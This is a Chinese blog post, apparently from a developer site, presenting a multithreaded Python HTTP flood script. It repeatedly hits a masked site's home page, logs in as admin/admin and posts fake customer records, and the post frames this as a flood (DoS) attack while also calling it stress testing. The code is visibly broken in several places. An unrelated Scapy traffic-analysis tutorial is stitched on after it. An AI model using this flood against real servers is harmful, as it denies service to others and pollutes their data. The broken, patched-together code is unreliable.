python安全脚本编写之流量泛洪

多线程与流量泛洪

并发操作

如果一个单核的cpu,是并不存在严格意义的并发,只是因为处理时间极短,所以感觉上是并发操作的。

针对多核CPU,4核CPU,严格意义上的并发处理是4个

线程和进程

  1. 每一个应用程序,至少会有一个进程,并且拥有PID(进程ID)和独立的内存空间。
  2. 每一个进程至少拥有一个线程,而线程并没有独立的内存空间。

泛红初体验之thread.py

import threading
import time,random
# 单线程情况下,下述代码执行或消耗5秒钟的时间
def test_01():
    print(threading.currentThread().getName())	# 输出当前线程的名字
    for i in range(5):
        print(time.strftime('%Y-%m-%d %H:%M:%S'))
        time.sleep(1)
# 使用多线程的方式输入5次时间
def test_02():
    print(threading.currentThread().getName())
    print(time.strftime('%Y-%m-%d %H:%M:%S'))
    time.sleep(1)
    
    
session=requests.session()
def home():
    url="xx.xx.xx"
    resp=session.get(url)
    if "xxxxxxxxx" in resp.text:
        print("首页访问成功")
    else:
        print("首页访问失败")
def login():
    data={'username':'admin','password':'admin','verifycode':'0000'}
    resp=session.post(url=url,data=data)
    if resp.test=='login-pass':
        print('登陆成功')
    else:
        print('登陆失败')
        
def add():
    data={'customername':'未知','customerphone':f'13{random.randint(30000000,999999999)}','childsex':'男','childdate':'2021-10-15','creditkids':'0','creditcloth':'0'}
    resp=session.post(f"{url}/xxxx/customer/add",data=data)
    if resp.text=="add-successful":
        print("新增会员成功")
    else:
        print("新增会员失败")
# 基于HTTP协议,进行流量的泛洪,压力测试,性能测试
# 使用多线程模拟流量泛红(Flow Flood) 攻击xxx.xxx.xxx
def xxxxsales_flood():
    for i in range(1000):
        try:
	        home()
        	login()
            add()
        except:
            pass

    
if __name__=='__main__':
    # test_01()	# 当python执行时,虽然没有手工启动线程,默认Python会启动一个主线程
    # 并发启动5个线程
    #for i in range(5):
        # 实例化一个线程,target表示是哪个方法,将那个方法传过去,注意没有圆括号,有圆括号就是调用了,若目标函数有参数,在后面跟上args=(),以元组的方式传过去即可
        # 或者这样描述,实例化一个线程,并且指定调用test_02函数
        #t=threading.Thread(target=test_02)
        # 启动线程
        #t.start()
    #test_02()
    for i in range(100):
        threading.Thread(target=wxxxxales_flood).start

DOS攻击的核心

利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘,带宽,连接数等),使其无法正常提供对外服务

小知识点:

装饰器

可以用于收集其响应时间

def performance(func):
    def inner():
        start=time.time()
        func()
        end=time.time()
        print(f"请求:{func.__name__}的响应时间为:{end-start}")
    return inner
@performance
def home():
    url="xx.xx.xx"
    resp=session.get(url)
    if "xxxxxxxxx" in resp.text:
        print("首页访问成功")
    else:
        print("首页访问失败")
  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
流量分析是指对网络传输的数据进行统计、分析和监控,以便了解网络应用程序的使用情况和网络性能状况。Python作为一种高级编程语言,具有易学易用、功能强大、灵活性高等优点,因此在流量分析领域也被广泛应用。 下面我们来介绍一下如何使用Python编写流量分析脚本。 ### 1. 安装必要的Python库 在编写流量分析脚本前,需要安装一些必要的Python库,包括: - Scapy:用于网络数据包的捕获、分析和生成。 - Matplotlib:用于绘制图表和数据可视化。 - NumPy:用于处理数值数据。 可以使用pip来安装这些库: ``` pip install scapy matplotlib numpy ``` ### 2. 捕获网络数据包 使用Scapy库可以轻松捕获网络数据包,例如: ```python from scapy.all import * def packet_callback(packet): print(packet.summary()) sniff(prn=packet_callback, count=10) ``` 上面的代码可以捕获前10个网络数据包,并打印每个数据包的简要信息。可以通过修改packet_callback函数来进行更复杂的数据包处理。 ### 3. 分析数据包 使用Scapy库可以对捕获的数据包进行分析,例如: ```python from scapy.all import * pkts = rdpcap('test.pcap') for pkt in pkts: print(pkt.summary()) ``` 上面的代码可以读取一个PCAP文件并逐个打印每个数据包的简要信息。 ### 4. 统计流量数据 使用Scapy库可以统计流量数据,例如: ```python from scapy.all import * pkts = rdpcap('test.pcap') print(len(pkts)) # 总共捕获的数据包数量 print(pkts[0].time) # 第一个数据包的时间戳 print(pkts[-1].time) # 最后一个数据包的时间戳 print(len(pkts.filter(lambda pkt: IP in pkt))) # IP数据包数量 print(len(pkts.filter(lambda pkt: TCP in pkt))) # TCP数据包数量 ``` 上面的代码可以统计捕获的数据包数量、时间范围以及不同协议类型的数据包数量。 ### 5. 可视化数据 使用Matplotlib库可以绘制图表和数据可视化,例如: ```python import matplotlib.pyplot as plt import numpy as np x = np.array([1, 2, 3, 4, 5]) y = np.array([10, 20, 30, 40, 50]) plt.plot(x, y) plt.xlabel('x') plt.ylabel('y') plt.show() ``` 上面的代码可以绘制一个简单的折线图,用于表示数据的变化趋势。 以上就是使用Python编写流量分析脚本的基本步骤。当然,具体的分析内容和需要实现的功能会根据具体的场景而有所不同。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曹博Blog

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值